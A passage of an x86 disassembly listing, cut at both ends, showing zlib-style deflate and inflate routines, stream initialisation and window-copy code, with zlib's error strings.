jmp short loc_601B66 ; --------------------------------------------------------------------------- loc_601B56: ; CODE XREF: .text:00601B43j cmp ecx, ebp jnz short loc_601B69 loc_601B5A: ; CODE XREF: .text:00601B47j cmp eax, 1 jnz short loc_601B69 mov eax, esi call sub_6017A2 loc_601B66: ; CODE XREF: .text:00601B54j mov [esi+60h], eax loc_601B69: ; CODE XREF: .text:00601B2Aj ; .text:00601B38j ... cmp [esi+60h], ebp jb loc_601C91 mov edx, [esi+16A0h] mov cl, [esi+60h] mov ebp, [esi+16A4h] xor eax, eax mov ax, [esi+6Ch] sub ax, [esi+70h] sub cl, 3 mov [ebp+edx*2+0], ax mov ebp, [esi+16A0h] mov edx, [esi+1698h] mov [edx+ebp], cl inc dword ptr [esi+16A0h] movzx ecx, cl movzx ecx, ds:byte_60C578[ecx] add eax, 0FFFFh lea ecx, [esi+ecx*4+498h] inc word ptr [ecx] cmp ax, 100h movzx eax, ax jnb short loc_601BD3 movzx eax, ds:byte_60C378[eax] jmp short loc_601BDD ; --------------------------------------------------------------------------- loc_601BD3: ; CODE XREF: .text:00601BC8j shr eax, 7 movzx eax, ds:byte_60C478[eax] loc_601BDD: ; CODE XREF: .text:00601BD1j lea eax, [esi+eax*4+988h] inc word ptr [eax] mov eax, [esi+169Ch] xor ecx, ecx dec eax cmp [esi+16A0h], eax mov eax, [esi+60h] setz cl sub [esi+74h], eax cmp eax, [esi+80h] mov ebp, ecx mov ecx, [esi+74h] ja short loc_601C68 cmp ecx, 3 jb short loc_601C68 dec eax mov [esi+60h], eax loc_601C15: ; CODE XREF: .text:00601C64j inc dword ptr [esi+6Ch] mov edx, [esi+6Ch] mov edi, [esi+48h] mov ecx, [esi+58h] mov eax, [esi+38h] movzx eax, byte ptr [edx+eax+2] shl edi, cl mov ecx, [esi+44h] xor eax, edi and eax, [esi+54h] mov edi, [esi+34h] mov [esi+48h], eax mov ax, [ecx+eax*2] and edi, edx mov edx, [esi+40h] mov [edx+edi*2], ax mov eax, [esi+6Ch] and eax, [esi+34h] mov ecx, [esi+40h] movzx edi, word ptr [ecx+eax*2] mov eax, [esi+48h] mov ecx, [esi+44h] mov dx, [esi+6Ch] mov [ecx+eax*2], dx dec dword ptr [esi+60h] jnz short loc_601C15 jmp short loc_601CE4 ; --------------------------------------------------------------------------- loc_601C68: ; CODE XREF: .text:00601C0Aj ; .text:00601C0Fj add [esi+6Ch], eax mov eax, [esi+6Ch] mov ecx, [esi+38h] and dword ptr [esi+60h], 0 lea edx, [eax+ecx] movzx eax, byte ptr [edx] mov ecx, [esi+58h] mov [esi+48h], eax shl eax, cl movzx ecx, byte ptr [edx+1] xor eax, ecx and eax, [esi+54h] mov [esi+48h], eax jmp short loc_601CE7 ; --------------------------------------------------------------------------- loc_601C91: ; CODE XREF: .text:00601B6Cj mov eax, [esi+6Ch] mov ecx, [esi+38h] mov al, [eax+ecx] mov ecx, [esi+16A0h] mov edx, [esi+16A4h] and word ptr [edx+ecx*2], 0 mov ecx, [esi+1698h] mov edx, [esi+16A0h] mov [ecx+edx], al inc dword ptr [esi+16A0h] movzx eax, al lea eax, [esi+eax*4+94h] inc word ptr [eax] mov eax, [esi+169Ch] xor ecx, ecx dec eax cmp [esi+16A0h], eax setz cl dec dword ptr [esi+74h] mov ebp, ecx loc_601CE4: ; CODE XREF: .text:00601C66j inc dword ptr [esi+6Ch] loc_601CE7: ; CODE XREF: .text:00601C8Fj test ebp, ebp jz loc_601AB2 mov ecx, [esi+5Ch] test ecx, ecx jl short loc_601CFD mov eax, [esi+38h] add eax, ecx jmp short loc_601CFF ; --------------------------------------------------------------------------- loc_601CFD: ; CODE XREF: .text:00601CF4j xor eax, eax loc_601CFF: ; CODE XREF: .text:00601CFBj mov edx, [esi+6Ch] push 0 sub edx, ecx push edx push eax push esi call sub_604F24 mov eax, [esi+6Ch] mov [esi+5Ch], eax mov eax, [esi] add esp, 10h call sub_60160D mov eax, [esi] cmp dword ptr [eax+10h], 0 jnz loc_601AB2 loc_601D2A: ; CODE XREF: .text:00601ACAj ; .text:00601D76j xor eax, eax loc_601D2C: ; CODE XREF: .text:00601D7Bj ; .text:00601D89j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_601D31: ; CODE XREF: .text:00601AD2j mov ecx, [esi+5Ch] test ecx, ecx jl short loc_601D3F mov eax, [esi+38h] add eax, ecx jmp short loc_601D41 ; --------------------------------------------------------------------------- loc_601D3F: ; CODE XREF: .text:00601D36j xor eax, eax loc_601D41: ; CODE XREF: .text:00601D3Dj mov edi, [esp+18h] xor edx, edx cmp edi, 4 setz dl push edx mov edx, [esi+6Ch] sub edx, ecx push edx push eax push esi call sub_604F24 add esp, 10h mov eax, [esi+6Ch] mov [esi+5Ch], eax mov eax, [esi] call sub_60160D mov eax, [esi] cmp dword ptr [eax+10h], 0 jnz short loc_601D7D cmp edi, 4 jnz short loc_601D2A push 2 pop eax jmp short loc_601D2C ; --------------------------------------------------------------------------- loc_601D7D: ; CODE XREF: .text:00601D71j xor eax, eax cmp edi, 4 setz al lea eax, [eax+eax+1] jmp short loc_601D2C ; --------------------------------------------------------------------------- push ecx push ebx push ebp push esi mov esi, [esp+14h] xor ebx, ebx push edi mov [esp+10h], ebx loc_601D9A: ; CODE XREF: .text:00601FC7j ; .text:00601FFDj ... mov eax, [esi+74h] mov edi, 106h cmp eax, edi jnb short loc_601DC4 call sub_60182C mov eax, [esi+74h] cmp eax, edi jnb short loc_601DBC cmp [esp+1Ch], ebx jz loc_602003 loc_601DBC: ; CODE XREF: .text:00601DB0j cmp eax, ebx jz loc_6020AA loc_601DC4: ; CODE XREF: .text:00601DA4j cmp eax, 3 jb short loc_601E16 mov eax, [esi+48h] mov ecx, [esi+58h] mov edx, [esi+6Ch] mov ebp, [esi+34h] shl eax, cl mov ecx, [esi+38h] movzx ecx, byte ptr [ecx+edx+2] xor eax, ecx and eax, [esi+54h] mov ecx, [esi+44h] mov [esi+48h], eax mov ax, [ecx+eax*2] and ebp, edx mov edx, [esi+40h] mov [edx+ebp*2], ax mov eax, [esi+6Ch] and eax, [esi+34h] mov ecx, [esi+40h] movzx eax, word ptr [ecx+eax*2] mov ecx, [esi+44h] mov dx, [esi+6Ch] mov [esp+10h], eax mov eax, [esi+48h] mov [ecx+eax*2], dx loc_601E16: ; CODE XREF: .text:00601DC7j mov eax, [esi+60h] mov edx, [esp+10h] cmp edx, ebx push 2 mov [esi+78h], eax mov eax, [esi+70h] pop ebp mov [esi+64h], eax mov [esi+60h], ebp jz short loc_601EA1 mov eax, [esi+78h] cmp eax, [esi+80h] jnb short loc_601EA1 mov eax, [esi+6Ch] mov ecx, [esi+2Ch] sub eax, edx sub ecx, edi cmp eax, ecx ja short loc_601EA1 mov ecx, [esi+88h] cmp ecx, ebp jz short loc_601E65 cmp ecx, 3 jz short loc_601E6A push edx mov ecx, esi call sub_60165A add esp, 4 jmp short loc_601E78 ; --------------------------------------------------------------------------- loc_601E65: ; CODE XREF: .text:00601E51j cmp ecx, 3 jnz short loc_601E7B loc_601E6A: ; CODE XREF: .text:00601E56j cmp eax, 1 jnz short loc_601E7B mov edi, edx mov eax, esi call sub_6017A2 loc_601E78: ; CODE XREF: .text:00601E63j mov [esi+60h], eax loc_601E7B: ; CODE XREF: .text:00601E68j ; .text:00601E6Dj mov eax, [esi+60h] cmp eax, 5 ja short loc_601EA1 cmp dword ptr [esi+88h], 1 jz short loc_601E9E cmp eax, 3 jnz short loc_601EA1 mov eax, [esi+6Ch] sub eax, [esi+70h] cmp eax, 1000h jbe short loc_601EA1 loc_601E9E: ; CODE XREF: .text:00601E8Aj mov [esi+60h], ebp loc_601EA1: ; CODE XREF: .text:00601E2Ej ; .text:00601E39j ... mov eax, [esi+78h] cmp eax, 3 jb loc_60200B cmp [esi+60h], eax ja loc_60200B mov ecx, [esi+74h] mov eax, [esi+6Ch] mov edx, [esi+16A0h] mov edi, [esi+16A4h] lea ebp, [eax+ecx-3] mov cl, [esi+78h] xor eax, eax mov ax, [esi+6Ch] sub ax, [esi+64h] sub cl, 3 dec eax mov [edi+edx*2], ax mov edi, [esi+16A0h] mov edx, [esi+1698h] mov [edx+edi], cl inc dword ptr [esi+16A0h] movzx ecx, cl movzx ecx, ds:byte_60C578[ecx] add eax, 0FFFFh lea ecx, [esi+ecx*4+498h] inc word ptr [ecx] cmp ax, 100h movzx eax, ax jnb short loc_601F21 movzx eax, ds:byte_60C378[eax] jmp short loc_601F2B ; --------------------------------------------------------------------------- loc_601F21: ; CODE XREF: .text:00601F16j shr eax, 7 movzx eax, ds:byte_60C478[eax] loc_601F2B: ; CODE XREF: .text:00601F1Fj lea eax, [esi+eax*4+988h] inc word ptr [eax] mov eax, [esi+169Ch] xor ecx, ecx dec eax cmp [esi+16A0h], eax mov eax, [esi+78h] setz cl mov edi, ecx xor ecx, ecx inc ecx sub ecx, eax add [esi+74h], ecx add eax, 0FFFFFFFEh mov [esi+78h], eax loc_601F5A: ; CODE XREF: .text:00601FB3j inc dword ptr [esi+6Ch] mov edx, [esi+6Ch] cmp edx, ebp ja short loc_601FB0 mov eax, [esi+48h] mov ecx, [esi+58h] mov ebx, [esi+34h] shl eax, cl mov ecx, [esi+38h] movzx ecx, byte ptr [ecx+edx+2] xor eax, ecx and eax, [esi+54h] mov ecx, [esi+44h] mov [esi+48h], eax mov ax, [ecx+eax*2] and ebx, edx mov edx, [esi+40h] mov [edx+ebx*2], ax mov eax, [esi+6Ch] and eax, [esi+34h] mov ecx, [esi+40h] movzx eax, word ptr [ecx+eax*2] mov ecx, [esi+44h] mov dx, [esi+6Ch] mov [esp+10h], eax mov eax, [esi+48h] mov [ecx+eax*2], dx xor ebx, ebx loc_601FB0: ; CODE XREF: .text:00601F62j dec dword ptr [esi+78h] jnz short loc_601F5A inc dword ptr [esi+6Ch] cmp edi, ebx mov eax, [esi+6Ch] mov [esi+68h], ebx mov dword ptr [esi+60h], 2 jz loc_601D9A mov edx, [esi+5Ch] cmp edx, ebx jl short loc_601FDB mov ecx, [esi+38h] add ecx, edx jmp short loc_601FDD ; --------------------------------------------------------------------------- loc_601FDB: ; CODE XREF: .text:00601FD2j xor ecx, ecx loc_601FDD: ; CODE XREF: .text:00601FD9j push ebx sub eax, edx push eax push ecx push esi call sub_604F24 mov eax, [esi+6Ch] mov [esi+5Ch], eax mov eax, [esi] add esp, 10h call sub_60160D loc_601FF8: ; CODE XREF: .text:00602093j mov eax, [esi] cmp [eax+10h], ebx jnz loc_601D9A loc_602003: ; CODE XREF: .text:00601DB6j ; .text:0060212Cj xor eax, eax loc_602005: ; CODE XREF: .text:00602135j ; .text:00602148j pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_60200B: ; CODE XREF: .text:00601EA7j ; .text:00601EB0j cmp [esi+68h], ebx jz loc_602098 mov eax, [esi+6Ch] mov ecx, [esi+38h] mov al, [eax+ecx-1] mov ecx, [esi+16A0h] mov edx, [esi+16A4h] mov [edx+ecx*2], bx mov edx, [esi+16A0h] mov ecx, [esi+1698h] mov [ecx+edx], al inc dword ptr [esi+16A0h] movzx eax, al lea eax, [esi+eax*4+94h] inc word ptr [eax] mov eax, [esi+169Ch] dec eax cmp [esi+16A0h], eax jnz short loc_60208D mov ecx, [esi+5Ch] cmp ecx, ebx jl short loc_60206D mov eax, [esi+38h] add eax, ecx jmp short loc_60206F ; --------------------------------------------------------------------------- loc_60206D: ; CODE XREF: .text:00602064j xor eax, eax loc_60206F: ; CODE XREF: .text:0060206Bj mov edx, [esi+6Ch] push ebx sub edx, ecx push edx push eax push esi call sub_604F24 mov eax, [esi+6Ch] mov [esi+5Ch], eax mov eax, [esi] add esp, 10h call sub_60160D loc_60208D: ; CODE XREF: .text:0060205Dj inc dword ptr [esi+6Ch] dec dword ptr [esi+74h] jmp loc_601FF8 ; --------------------------------------------------------------------------- loc_602098: ; CODE XREF: .text:0060200Ej inc dword ptr [esi+6Ch] dec dword ptr [esi+74h] mov dword ptr [esi+68h], 1 jmp loc_601D9A ; --------------------------------------------------------------------------- loc_6020AA: ; CODE XREF: .text:00601DBEj cmp [esi+68h], ebx jz short loc_6020E8 mov eax, [esi+6Ch] mov ecx, [esi+38h] mov cl, [eax+ecx-1] mov edi, [esi+16A4h] lea eax, [esi+16A0h] mov edx, [eax] mov [edi+edx*2], bx mov edi, [eax] mov edx, [esi+1698h] mov [edx+edi], cl inc dword ptr [eax] movzx eax, cl lea eax, [esi+eax*4+94h] inc word ptr [eax] mov [esi+68h], ebx loc_6020E8: ; CODE XREF: .text:006020ADj mov ecx, [esi+5Ch] cmp ecx, ebx jl short loc_6020F6 mov eax, [esi+38h] add eax, ecx jmp short loc_6020F8 ; --------------------------------------------------------------------------- loc_6020F6: ; CODE XREF: .text:006020EDj xor eax, eax loc_6020F8: ; CODE XREF: .text:006020F4j xor edx, edx cmp dword ptr [esp+1Ch], 4 setz dl push edx mov edx, [esi+6Ch] sub edx, ecx push edx push eax push esi call sub_604F24 mov eax, [esi+6Ch] mov [esi+5Ch], eax mov eax, [esi] add esp, 10h call sub_60160D mov eax, [esi] cmp [eax+10h], ebx jnz short loc_60213A cmp dword ptr [esp+1Ch], 4 jnz loc_602003 push 2 pop eax jmp loc_602005 ; --------------------------------------------------------------------------- loc_60213A: ; CODE XREF: .text:00602125j xor eax, eax cmp dword ptr [esp+1Ch], 4 setz al lea eax, [eax+eax+1] jmp loc_602005 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_60214D proc near ; CODE XREF: sub_6026FA+B9Dp var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40h mov eax, [ebp+arg_0] mov ecx, [eax+4] mov edx, [eax+10h] push ebx mov ebx, [eax] dec ebx lea ecx, [ecx+ebx-5] mov [ebp+var_2C], ecx mov ecx, edx sub ecx, [ebp+arg_4] push esi mov esi, [eax+1Ch] push edi mov edi, [eax+0Ch] dec edi add ecx, edi mov [ebp+var_3C], ecx lea ecx, [edx+edi-101h] mov [ebp+var_30], ecx mov ecx, [esi+28h] mov [ebp+var_24], ecx mov ecx, [esi+2Ch] mov [ebp+var_40], ecx mov ecx, [esi+30h] mov [ebp+var_18], ecx mov ecx, [esi+34h] mov [ebp+var_28], ecx mov ecx, [esi+38h] mov [ebp+var_4], ecx mov ecx, [esi+3Ch] mov [ebp+arg_4], ecx mov ecx, [esi+4Ch] xor edx, edx mov [ebp+var_1C], ecx mov ecx, [esi+50h] inc edx mov [ebp+var_20], ecx mov ecx, [esi+54h] shl edx, cl mov ecx, [esi+58h] dec edx mov [ebp+var_34], edx xor edx, edx inc edx shl edx, cl dec edx mov [ebp+var_38], edx loc_6021CC: ; CODE XREF: sub_60214D+329j mov ecx, [ebp+arg_4] cmp ecx, 0Fh jnb short loc_6021F1 add [ebp+arg_4], 8 inc ebx movzx edx, byte ptr [ebx] shl edx, cl mov ecx, [ebp+arg_4] add [ebp+var_4], edx inc ebx movzx edx, byte ptr [ebx] shl edx, cl add [ebp+var_4], edx add [ebp+arg_4], 8 loc_6021F1: ; CODE XREF: sub_60214D+85j mov ecx, [ebp+var_34] and ecx, [ebp+var_4] mov edx, [ebp+var_1C] mov ecx, [edx+ecx*4] jmp short loc_602222 ; --------------------------------------------------------------------------- loc_6021FF: ; CODE XREF: sub_60214D+EAj test cl, 10h jnz short loc_602241 test cl, 40h jnz loc_602490 xor edx, edx inc edx shl edx, cl movzx ecx, word ptr [ebp+var_10+2] dec edx and edx, [ebp+var_4] add edx, ecx mov ecx, [ebp+var_1C] mov ecx, [ecx+edx*4] loc_602222: ; CODE XREF: sub_60214D+B0j mov [ebp-10h], ecx movzx ecx, ch shr [ebp+var_4], cl sub [ebp+arg_4], ecx mov [ebp+var_8], ecx movzx ecx, byte ptr [ebp+var_10] test ecx, ecx jnz short loc_6021FF mov cl, byte ptr [ebp+var_10+2] jmp loc_60246B ; --------------------------------------------------------------------------- loc_602241: ; CODE XREF: sub_60214D+B5j movzx edx, word ptr [ebp+var_10+2] and ecx, 0Fh mov [ebp+var_C], edx mov [ebp+var_8], ecx jz short loc_60227D cmp [ebp+arg_4], ecx jnb short loc_602268 mov ecx, [ebp+arg_4] inc ebx movzx edx, byte ptr [ebx] shl edx, cl mov ecx, [ebp+var_8] add [ebp+var_4], edx add [ebp+arg_4], 8 loc_602268: ; CODE XREF: sub_60214D+106j xor edx, edx inc edx shl edx, cl mov ecx, [ebp+var_8] dec edx and edx, [ebp+var_4] shr [ebp+var_4], cl add [ebp+var_C], edx sub [ebp+arg_4], ecx loc_60227D: ; CODE XREF: sub_60214D+101j mov ecx, [ebp+arg_4] cmp ecx, 0Fh jnb short loc_6022A2 add [ebp+arg_4], 8 inc ebx movzx edx, byte ptr [ebx] shl edx, cl mov ecx, [ebp+arg_4] add [ebp+var_4], edx inc ebx movzx edx, byte ptr [ebx] shl edx, cl add [ebp+var_4], edx add [ebp+arg_4], 8 loc_6022A2: ; CODE XREF: sub_60214D+136j mov ecx, [ebp+var_38] and ecx, [ebp+var_4] mov edx, [ebp+var_20] mov ecx, [edx+ecx*4] jmp short loc_6022CE ; --------------------------------------------------------------------------- loc_6022B0: ; CODE XREF: sub_60214D+197j test cl, 40h jnz loc_602487 xor edx, edx inc edx shl edx, cl movzx ecx, word ptr [ebp+var_10+2] dec edx and edx, [ebp+var_4] add edx, ecx mov ecx, [ebp+var_20] mov ecx, [ecx+edx*4] loc_6022CE: ; CODE XREF: sub_60214D+161j mov [ebp+var_10], ecx movzx ecx, ch shr [ebp+var_4], cl sub [ebp+arg_4], ecx mov [ebp+var_8], ecx movzx ecx, byte ptr [ebp+var_10] test cl, 10h jz short loc_6022B0 movzx edx, word ptr [ebp+var_10+2] and ecx, 0Fh cmp [ebp+arg_4], ecx mov [ebp+var_14], edx mov [ebp+var_8], ecx jnb short loc_602323 mov ecx, [ebp+arg_4] add [ebp+arg_4], 8 inc ebx movzx edx, byte ptr [ebx] shl edx, cl mov ecx, [ebp+var_8] add [ebp+var_4], edx cmp [ebp+arg_4], ecx jnb short loc_602323 mov ecx, [ebp+arg_4] inc ebx movzx edx, byte ptr [ebx] shl edx, cl mov ecx, [ebp+var_8] add [ebp+var_4], edx add [ebp+arg_4], 8 loc_602323: ; CODE XREF: sub_60214D+1A9j ; sub_60214D+1C1j xor edx, edx inc edx shl edx, cl mov ecx, [ebp+var_8] sub [ebp+arg_4], ecx dec edx and edx, [ebp+var_4] shr [ebp+var_4], cl add [ebp+var_14], edx mov edx, [ebp+var_14] mov ecx, edi sub ecx, [ebp+var_3C] cmp edx, ecx jbe loc_602436 sub edx, ecx cmp edx, [ebp+var_40] mov [ebp+var_8], edx ja loc_60247E mov ecx, [ebp+var_28] dec ecx mov [ebp+var_10], ecx mov ecx, [ebp+var_18] test ecx, ecx jnz short loc_60238A mov ecx, [ebp+var_24] sub ecx, edx add [ebp+var_10], ecx mov ecx, edx cmp ecx, [ebp+var_C] jnb loc_6023FF sub [ebp+var_C], ecx mov ecx, [ebp+var_10] loc_60237D: ; CODE XREF: sub_60214D+239j inc ecx mov dl, [ecx] inc edi dec [ebp+var_8] mov [edi], dl jnz short loc_60237D jmp short loc_6023F5 ; --------------------------------------------------------------------------- loc_60238A: ; CODE XREF: sub_60214D+215j cmp ecx, edx jnb short loc_6023D7 sub ecx, edx add ecx, [ebp+var_24] add [ebp+var_10], ecx mov ecx, [ebp+var_8] sub ecx, [ebp+var_18] cmp ecx, [ebp+var_C] jnb short loc_6023FF sub [ebp+var_C], ecx loc_6023A4: ; CODE XREF: sub_60214D+263j inc [ebp+var_10] mov edx, [ebp+var_10] mov dl, [edx] inc edi dec ecx mov [edi], dl jnz short loc_6023A4 mov ecx, [ebp+var_28] dec ecx mov [ebp+var_10], ecx mov ecx, [ebp+var_18] cmp ecx, [ebp+var_C] jnb short loc_6023FF sub [ebp+var_C], ecx mov [ebp+var_8], ecx mov ecx, [ebp+var_10] loc_6023CA: ; CODE XREF: sub_60214D+286j inc ecx mov dl, [ecx] inc edi dec [ebp+var_8] mov [edi], dl jnz short loc_6023CA jmp short loc_6023F5 ; --------------------------------------------------------------------------- loc_6023D7: ; CODE XREF: sub_60214D+23Fj sub ecx, edx add [ebp+var_10], ecx mov ecx, [ebp+var_8] cmp ecx, [ebp+var_C] jnb short loc_6023FF sub [ebp+var_C], ecx mov ecx, [ebp+var_10] loc_6023EA: ; CODE XREF: sub_60214D+2A6j inc ecx mov dl, [ecx] inc edi dec [ebp+var_8] mov [edi], dl jnz short loc_6023EA loc_6023F5: ; CODE XREF: sub_60214D+23Bj ; sub_60214D+288j mov ecx, edi sub ecx, [ebp+var_14] mov [ebp+var_10], ecx jmp short loc_602402 ; --------------------------------------------------------------------------- loc_6023FF: ; CODE XREF: sub_60214D+224j ; sub_60214D+252j ... mov ecx, [ebp+var_10] loc_602402: ; CODE XREF: sub_60214D+2B0j mov edx, [ebp+var_C] cmp edx, 2 jbe short loc_602456 lea eax, [edx-3] push 3 xor edx, edx pop ecx div ecx mov ecx, [ebp+var_10] inc eax loc_602418: ; CODE XREF: sub_60214D+2E2j sub [ebp+var_C], 3 inc ecx mov dl, [ecx] inc edi mov [edi], dl inc ecx mov dl, [ecx] inc edi inc ecx mov [edi], dl mov dl, [ecx] inc edi dec eax mov [edi], dl jnz short loc_602418 mov eax, [ebp+arg_0] jmp short loc_602456 ; --------------------------------------------------------------------------- loc_602436: ; CODE XREF: sub_60214D+1F5j mov ecx, edi sub ecx, edx loc_60243A: ; CODE XREF: sub_60214D+307j sub [ebp+var_C], 3 inc ecx mov dl, [ecx] inc edi mov [edi], dl inc ecx mov dl, [ecx] inc edi inc ecx mov [edi], dl mov dl, [ecx] inc edi cmp [ebp+var_C], 2 mov [edi], dl ja short loc_60243A loc_602456: ; CODE XREF: sub_60214D+2BBj ; sub_60214D+2E7j cmp [ebp+var_C], 0 jz short loc_60246E inc ecx mov dl, [ecx] inc edi cmp [ebp+var_C], 1 mov [edi], dl jbe short loc_60246E mov cl, [ecx+1] loc_60246B: ; CODE XREF: sub_60214D+EFj inc edi mov [edi], cl loc_60246E: ; CODE XREF: sub_60214D+30Dj ; sub_60214D+319j cmp ebx, [ebp+var_2C] jnb short loc_6024AA cmp edi, [ebp+var_30] jb loc_6021CC jmp short loc_6024AA ; --------------------------------------------------------------------------- loc_60247E: ; CODE XREF: sub_60214D+203j mov dword ptr [eax+18h], offset aInvalidDistanc ; "invalid distance too far back" jmp short loc_6024A4 ; --------------------------------------------------------------------------- loc_602487: ; CODE XREF: sub_60214D+166j mov dword ptr [eax+18h], offset aInvalidDista_0 ; "invalid distance code" jmp short loc_6024A4 ; --------------------------------------------------------------------------- loc_602490: ; CODE XREF: sub_60214D+BAj test cl, 20h jz short loc_60249D mov dword ptr [esi], 0Bh jmp short loc_6024AA ; --------------------------------------------------------------------------- loc_60249D: ; CODE XREF: sub_60214D+346j mov dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code" loc_6024A4: ; CODE XREF: sub_60214D+338j ; sub_60214D+341j mov dword ptr [esi], 1Bh loc_6024AA: ; CODE XREF: sub_60214D+324j ; sub_60214D+32Fj ... mov ecx, [ebp+arg_4] shr ecx, 3 sub ebx, ecx shl ecx, 3 sub [ebp+arg_4], ecx xor ecx, ecx inc ecx mov edx, ecx mov ecx, [ebp+arg_4] shl edx, cl dec edx mov ecx, edx mov edx, [ebp+var_4] and edx, ecx lea ecx, [ebx+1] mov [eax], ecx lea ecx, [edi+1] mov [eax+0Ch], ecx mov ecx, [ebp+var_2C] sub ecx, ebx add ecx, 5 mov [eax+4], ecx mov ecx, [ebp+var_30] sub ecx, edi add ecx, 101h mov [eax+10h], ecx mov eax, [ebp+arg_4] pop edi mov [esi+38h], edx mov [esi+3Ch], eax pop esi pop ebx leave retn sub_60214D endp ; =============== S U B R O U T I N E ======================================= sub_6024FC proc near ; CODE XREF: sub_602557+96p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx cmp ecx, edx jz short loc_602553 mov eax, [ecx+1Ch] cmp eax, edx jz short loc_602553 mov [eax+1Ch], edx mov [ecx+14h], edx mov [ecx+8], edx mov [ecx+18h], edx mov dword ptr [ecx+30h], 1 lea ecx, [eax+530h] mov [eax], edx mov [eax+4], edx mov [eax+0Ch], edx mov dword ptr [eax+14h], 8000h mov [eax+20h], edx mov [eax+28h], edx mov [eax+2Ch], edx mov [eax+30h], edx mov [eax+38h], edx mov [eax+3Ch], edx mov [eax+6Ch], ecx mov [eax+50h], ecx mov [eax+4Ch], ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_602553: ; CODE XREF: sub_6024FC+8j ; sub_6024FC+Fj push 0FFFFFFFEh pop eax retn sub_6024FC endp ; =============== S U B R O U T I N E ======================================= sub_602557 proc near ; CODE XREF: sub_60260B+Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_8] push esi push edi xor edi, edi cmp eax, edi jz loc_602605 cmp byte ptr [eax], 31h jnz loc_602605 cmp [esp+8+arg_C], 38h jnz loc_602605 mov esi, [esp+8+arg_0] cmp esi, edi jz short loc_602601 cmp [esi+20h], edi mov [esi+18h], edi jnz short loc_602595 mov dword ptr [esi+20h], offset sub_605197 mov [esi+28h], edi loc_602595: ; CODE XREF: sub_602557+32j cmp [esi+24h], edi jnz short loc_6025A1 mov dword ptr [esi+24h], offset sub_6051A8 loc_6025A1: ; CODE XREF: sub_602557+41j push 2530h push 1 push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch cmp eax, edi jnz short loc_6025B9 push 0FFFFFFFCh jmp short loc_602607 ; --------------------------------------------------------------------------- loc_6025B9: ; CODE XREF: sub_602557+5Cj mov ecx, [esp+8+arg_4] cmp ecx, edi mov [esi+1Ch], eax jge short loc_6025CB mov [eax+8], edi neg ecx jmp short loc_6025DC ; --------------------------------------------------------------------------- loc_6025CB: ; CODE XREF: sub_602557+6Bj mov edx, ecx sar edx, 4 inc edx cmp ecx, 30h mov [eax+8], edx jge short loc_6025DC and ecx, 0Fh loc_6025DC: ; CODE XREF: sub_602557+72j ; sub_602557+80j cmp ecx, 8 jl short loc_6025F5 cmp ecx, 0Fh jg short loc_6025F5 push esi mov [eax+24h], ecx mov [eax+34h], edi call sub_6024FC pop ecx jmp short loc_602608 ; --------------------------------------------------------------------------- loc_6025F5: ; CODE XREF: sub_602557+88j ; sub_602557+8Dj push eax push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx pop ecx mov [esi+1Ch], edi loc_602601: ; CODE XREF: sub_602557+2Aj push 0FFFFFFFEh jmp short loc_602607 ; --------------------------------------------------------------------------- loc_602605: ; CODE XREF: sub_602557+Aj ; sub_602557+13j ... push 0FFFFFFFAh loc_602607: ; CODE XREF: sub_602557+60j ; sub_602557+ACj pop eax loc_602608: ; CODE XREF: sub_602557+9Cj pop edi pop esi retn sub_602557 endp ; =============== S U B R O U T I N E ======================================= sub_60260B proc near ; CODE XREF: sub_60510C+34p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] push [esp+4+arg_4] push 0Fh push [esp+0Ch+arg_0] call sub_602557 add esp, 10h retn sub_60260B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_602622 proc near ; CODE XREF: sub_6026FA+10CAp Size = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi mov esi, [edi+1Ch] cmp dword ptr [esi+34h], 0 mov ebx, eax jnz short loc_602654 mov ecx, [esi+24h] xor eax, eax inc eax shl eax, cl push 1 push eax push dword ptr [edi+28h] call dword ptr [edi+20h] add esp, 0Ch test eax, eax mov [esi+34h], eax jnz short loc_602654 inc eax jmp loc_6026F6 ; --------------------------------------------------------------------------- loc_602654: ; CODE XREF: sub_602622+Fj ; sub_602622+2Aj xor eax, eax cmp [esi+28h], eax jnz short loc_60266C mov ecx, [esi+24h] xor edx, edx inc edx shl edx, cl mov [esi+30h], eax mov [esi+2Ch], eax mov [esi+28h], edx loc_60266C: ; CODE XREF: sub_602622+37j sub ebx, [edi+10h] mov eax, [esi+28h] cmp ebx, eax jb short loc_602694 mov ecx, [edi+0Ch] push eax ; Size sub ecx, eax push ecx ; Src push dword ptr [esi+34h] ; Dst call _memcpy add esp, 0Ch and dword ptr [esi+30h], 0 loc_60268C: ; CODE XREF: sub_602622+B3j mov eax, [esi+28h] mov [esi+2Ch], eax jmp short loc_6026F4 ; --------------------------------------------------------------------------- loc_602694: ; CODE XREF: sub_602622+52j sub eax, [esi+30h] cmp eax, ebx mov [ebp+Size], eax jbe short loc_6026A1 mov [ebp+Size], ebx loc_6026A1: ; CODE XREF: sub_602622+7Aj mov eax, [edi+0Ch] push [ebp+Size] ; Size sub eax, ebx push eax ; Src mov eax, [esi+34h] add eax, [esi+30h] push eax ; Dst call _memcpy mov eax, [ebp+Size] add esp, 0Ch sub ebx, eax jz short loc_6026D7 mov eax, [edi+0Ch] push ebx ; Size sub eax, ebx push eax ; Src push dword ptr [esi+34h] ; Dst call _memcpy add esp, 0Ch mov [esi+30h], ebx jmp short loc_60268C ; --------------------------------------------------------------------------- loc_6026D7: ; CODE XREF: 